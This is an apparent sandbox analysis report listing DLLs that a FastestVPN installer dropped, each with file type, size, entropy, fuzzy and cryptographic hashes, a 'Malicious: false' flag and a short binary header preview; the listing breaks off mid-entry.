                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                    C:\Program Files\FastestVPN\Service\Owin.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):15528
                                                                                                                    Entropy (8bit):6.93175318343703
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:KKE4Nl+ACIYiYF80CX+0tvTS8hFP2bnNr/ZyGMLBVYvmvVKNFUK:ZE4OhIYifS0FP27NBY3Yuv+n
                                                                                                                    MD5:ADF6FCD8199E4DA7F52FBEBD9D9496D7
                                                                                                                    SHA1:17E7E444AB035AE759D3B0E48928B7D23CEC3682
                                                                                                                    SHA-256:C1AF49ACF4E6E9B77C025405CB31E6493F4A9A0080AE48381CE3B36EC5E1D76E
                                                                                                                    SHA-512:72F42DC40B2B1B9C25F0B4BC6E18BCE4B9F144A39442B05E5DF6FB792EA1F5E0645E5CF6251918AF0D81316437982ADBE6892992E4F4323CF48C84A6B08FD809
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.P...........!................N)... ...@....... ....................................@..................................(..W....@...................*...`.......'............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0)......H........ ......................P ......................................-.N...._J...a.w~.{...I..}.B.;=.XT.Jh.;.(f.eU/@r.. .......g...^......{i....h]..A,};......g..4..bb.....(..S).]..Ol.[..r....C.BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob...........G.........%3................................................................H.-...p.i.....i.....................8.....W.......p.....p.................i.......;.$...

                                                                                                                    C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):28648
                                                                                                                    Entropy (8bit):6.283743404391549
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:vPYMDLxA6GikwBUGkXkFmDKAsIh5V7L5XWmzWNsWtyHRN7XZj05seyR9zHA:vgMmZ1dUdGZSDuXZj05sN9zg
                                                                                                                    MD5:9FFF1DA4E481028262E27AEFD7C0EFF4
                                                                                                                    SHA1:B0128E42E3CE3C295C48461A651AF99D95B5A04D
                                                                                                                    SHA-256:3FDB918CC5F1E5F1FA9C155DC68AAFE10A16C73ED934C06B201ED94070EA985D
                                                                                                                    SHA-512:6B02B873C4092BFE3C2D8428093696E94C6021DB9D6FA8740E79DF7C6C5208229ED7AE8A62E96597EEEF348956BC6AB79375292B6456162F78D332E3830B75EC
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P^.b.........." ..0..>...........\... ...`....... ..............................c.....`.................................x\..O....`...............H...'..........@[............................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H.......(-...+..........8X.......Z........................................(.....s....(.....s....(.....s....(.....s....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*..0..1..........j...(.........(...._,.r...p(I...s....z..}....*..{....*"..}....*...0..p.......s....%r...po....&%.(....o....&%r/..po....&%.(....o....&%rU..po....&%.(....o....&%r{..po....&%.(.......(....-.r...p+..(.......(.......( .

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35496
                                                                                                                    Entropy (8bit):6.3718937380199785
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:PS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK7/:PS7DOOqf1RuhC5v7YK/CW1
                                                                                                                    MD5:D438F337397A4CB3CA4E87F70BC4B4C0
                                                                                                                    SHA1:FB6FB592744E34BA9B8B9E2B05F6D9C0C983F353
                                                                                                                    SHA-256:80E40E47F7D6EB2C9CB357B1B3951D0B0429087F44BEC066993C26975CDA4A76
                                                                                                                    SHA-512:8B9E589D378775331C08CEB908C4FC3BCA2AFBEA776E86163E5C641BF1D5F5E84BBA76B6E5C0102EC388005F8D09EAAA80DFB60185C83BF462543A6903236204
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................k....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60584
                                                                                                                    Entropy (8bit):6.426868083769682
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:W0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxnn:WxJ8kM9CHJ6bY3zkXX8u4iNd7EgIK/X
                                                                                                                    MD5:D4BECC422A254D1A75CFC60750572848
                                                                                                                    SHA1:2AE1D45045828B8D9A57DD90213F462D72F9A98B
                                                                                                                    SHA-256:A8BC4A168A5F9CD7ABBBBFF3F0794F433233A72D557E168AF42BD34FFF3A2F34
                                                                                                                    SHA-512:91A1E21F87868A00CF715018577A028413CB638A7965756324AFCF16A6108906DCB355959882C2C555C7276EF1A70627E455B4057695DE8C462E4D0679FEFAC5
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):31912
                                                                                                                    Entropy (8bit):6.377780370750934
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:H4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7gIYiNZs0t:HzNK/G4IfVswkYLy5L7pYiNbK/Y/+hM
                                                                                                                    MD5:14515F3569114E0060716ABD3AB3265A
                                                                                                                    SHA1:9E2DBC71979FFB5E3270C9353EA53448D9E07544
                                                                                                                    SHA-256:94DEC461C651A437049E2E5CBA046684E7177C350B836B363880EEEBDD1EBDEA
                                                                                                                    SHA-512:7067B02E1493A61BBABA8DDF922A8B5FDC31466F0E28ADAC116865661E739D6939863C44212FB0A22C49D2F3F03D2C28221E54C15FBC6387C43BD47637A349E4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................yA....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):41128
                                                                                                                    Entropy (8bit):6.401085070695131
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:lQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtRKS:4VutFQF873t3/77KaDBuz3bzrBJBOKiT
                                                                                                                    MD5:AD53B27150F1E38EF23BD155A07E2313
                                                                                                                    SHA1:3A9A4383B9286A0E1A3F4102BC56437A5A961E41
                                                                                                                    SHA-256:62DBC8A6D43D623E5F267B59A3C78807CB08EFBE37A06A67425C9458D8B985DA
                                                                                                                    SHA-512:F8D471175E39425F1E1613C60EDD9D1A98DBACC98E3F18746AA642524AFB7D9F9A299B2BE33629200AB94538BF95C78B6343DE193EE3AD48B1CFC1DD4E37E9D4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):20136
                                                                                                                    Entropy (8bit):6.721932799011409
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:WaXxdsvBO/dITrZ+VK6G6IYi+PVC0FP27NBY3Yuv+cN:WJZl6GHYiGZK/Y/+cN
                                                                                                                    MD5:8E6A799F0DA3FBA278F06D4C7A18E7B5
                                                                                                                    SHA1:B9AD516A47362FFAF360C1E8794D2F10C8E7080F
                                                                                                                    SHA-256:1029DDF44F3CD774754DDFEAFB97BE18CD31B50DE24F19870F9BDE8163B5DEA5
                                                                                                                    SHA-512:4607E418C0BE1F632CBE5CE0A8F1877F45EB873C193B4FF7C52495E891BD05D7F3AA3847D97F36D7B5601FCCAFCF6DE4A822140D9610C9E9BCA900BC06C67DE8
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ....................................`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                    C:\Program Files\FastestVPN\Service\VPN.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):18088
                                                                                                                    Entropy (8bit):6.788270069437216
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:CiqjQN+Pw2X6VUYNVYuKAiIYiUOI0FP27NBY3Yuv+Pg:1qjQ8f5uKAvYidpK/Y/+4
                                                                                                                    MD5:A891AAC2D9FD1B939E07BE155AFC84FF
                                                                                                                    SHA1:7F977350D9CFD10C259356D98C0606779519C6EF
                                                                                                                    SHA-256:38D6709A0A003761850933F79132CCDC40B6F26460169BAB092931BBA1500683
                                                                                                                    SHA-512:E4227CA484824ED3C912A58B741B4A447ACC50DFFB9945165303D5362BA39217FFAEFC62DF60D292A8B081DAD82CD85593FF64DB93DBC26465355D89AA527724
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ...................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                    C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.829205499580206
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:+NjMaZomdl7FUC9mhsCVoNycrjIg9J197j26dIYi5YFK0FP27NBY3Yuv+QgP:+HhShzuD/Bpa6KYiyFjK/Y/+PP
                                                                                                                    MD5:76DC589253A2FDAAA3CDD02E9F5421DD
                                                                                                                    SHA1:A072B9CDDBDC150394643EBFD565A2443AFD9501
                                                                                                                    SHA-256:9AC1C9B0343F4D9638FEB4FA25824AFBD2D829EEBF13E54A5FD2197CED2118B5
                                                                                                                    SHA-512:50A85E3C61A2506912BC0F4547079DAB2C6B60A882127A4C3087C9AB4065C6568B1E8D4AF246D68BFEE7E7347664883A2FC8E00E2E58EA1DE867FE33D8220861
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p.......D....@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):116872
                                                                                                                    Entropy (8bit):6.726218253535254
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                    MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                    SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                    SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                    SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\is-0QDRN.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):31912
                                                                                                                    Entropy (8bit):6.377780370750934
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:H4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7gIYiNZs0t:HzNK/G4IfVswkYLy5L7pYiNbK/Y/+hM
                                                                                                                    MD5:14515F3569114E0060716ABD3AB3265A
                                                                                                                    SHA1:9E2DBC71979FFB5E3270C9353EA53448D9E07544
                                                                                                                    SHA-256:94DEC461C651A437049E2E5CBA046684E7177C350B836B363880EEEBDD1EBDEA
                                                                                                                    SHA-512:7067B02E1493A61BBABA8DDF922A8B5FDC31466F0E28ADAC116865661E739D6939863C44212FB0A22C49D2F3F03D2C28221E54C15FBC6387C43BD47637A349E4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................yA....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                    C:\Program Files\FastestVPN\Service\is-1CJVQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):116872
                                                                                                                    Entropy (8bit):6.726218253535254
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                    MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                    SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                    SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                    SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\is-2M5AV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):18088
                                                                                                                    Entropy (8bit):6.788270069437216
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:CiqjQN+Pw2X6VUYNVYuKAiIYiUOI0FP27NBY3Yuv+Pg:1qjQ8f5uKAvYidpK/Y/+4
                                                                                                                    MD5:A891AAC2D9FD1B939E07BE155AFC84FF
                                                                                                                    SHA1:7F977350D9CFD10C259356D98C0606779519C6EF
                                                                                                                    SHA-256:38D6709A0A003761850933F79132CCDC40B6F26460169BAB092931BBA1500683
                                                                                                                    SHA-512:E4227CA484824ED3C912A58B741B4A447ACC50DFFB9945165303D5362BA39217FFAEFC62DF60D292A8B081DAD82CD85593FF64DB93DBC26465355D89AA527724
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ...................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                    C:\Program Files\FastestVPN\Service\is-8M1QQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):166800
                                                                                                                    Entropy (8bit):5.092225196099469
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:JtayaXxHE9B92Pqg6/rKvXkZ5QwupmY6jCPL:yqNDKvUZZkVlL
                                                                                                                    MD5:2839920AD2E9C4B08F97715D88586056
                                                                                                                    SHA1:88F7544BF59DDD40E3C934C938A20164F3B518F1
                                                                                                                    SHA-256:A655B1BC143B918C6F31B52AEA2726C131F474B70BF7E2DDF36FE48B1E6E279D
                                                                                                                    SHA-512:E26A141021648398F109B41275154FDFCF139845466C9A37E80A1AD43725D914FD574F59706AD68404555BCB36490CB307E7E0C9158A8B8E94F97CB93E4C0F37
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..Z...........x... ........... ...............................b....`..................................x..O.......8............d...'...........^..p............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc...8............\..............@..@.reloc...............b..............@..B.................x......H........R..............|S......D^......................................j.-.r...ps$...z.s....(....*..0..Y........-.r...ps$...z.o%...s&......r...p(...+.r+..p..((.....(...+........%...%...%...>....(...+*..-.r...ps$...z......(+.........%...o,...*N.sD...%.oC...(....*b.sD...%.s-...oC...(....*2.sD...(....*....0..C........(.....-.rC..ps$...z.-.rM..ps$...z..,...o......}......}......}....*..0..?.........(/...}4......}5......}6......}3.....|4.....(...+..|4...(1...*j.{....,..{....r]..p.

                                                                                                                    C:\Program Files\FastestVPN\Service\is-9QKBR.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35496
                                                                                                                    Entropy (8bit):6.3718937380199785
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:PS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK7/:PS7DOOqf1RuhC5v7YK/CW1
                                                                                                                    MD5:D438F337397A4CB3CA4E87F70BC4B4C0
                                                                                                                    SHA1:FB6FB592744E34BA9B8B9E2B05F6D9C0C983F353
                                                                                                                    SHA-256:80E40E47F7D6EB2C9CB357B1B3951D0B0429087F44BEC066993C26975CDA4A76
                                                                                                                    SHA-512:8B9E589D378775331C08CEB908C4FC3BCA2AFBEA776E86163E5C641BF1D5F5E84BBA76B6E5C0102EC388005F8D09EAAA80DFB60185C83BF462543A6903236204
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................k....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                    C:\Program Files\FastestVPN\Service\is-C94HO.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.32384599449582
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                    MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                    SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                    SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                    SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\is-CEUK8.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):347016
                                                                                                                    Entropy (8bit):6.2576059322299855
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:+h0+XUaITFNwVI1ZdMfWsaYi3am2Wt6hn7UQjva9v:+u+XUTTvvndMfv64oQu
                                                                                                                    MD5:F4B5415B6C9EC38B073779A034421747
                                                                                                                    SHA1:DADEC8724A898C84A9F52A86A5D0ACFA71758341
                                                                                                                    SHA-256:2672829713F57630F2FC4DA57926456DDA7832F0E0F474F06462D2340B4DC4E3
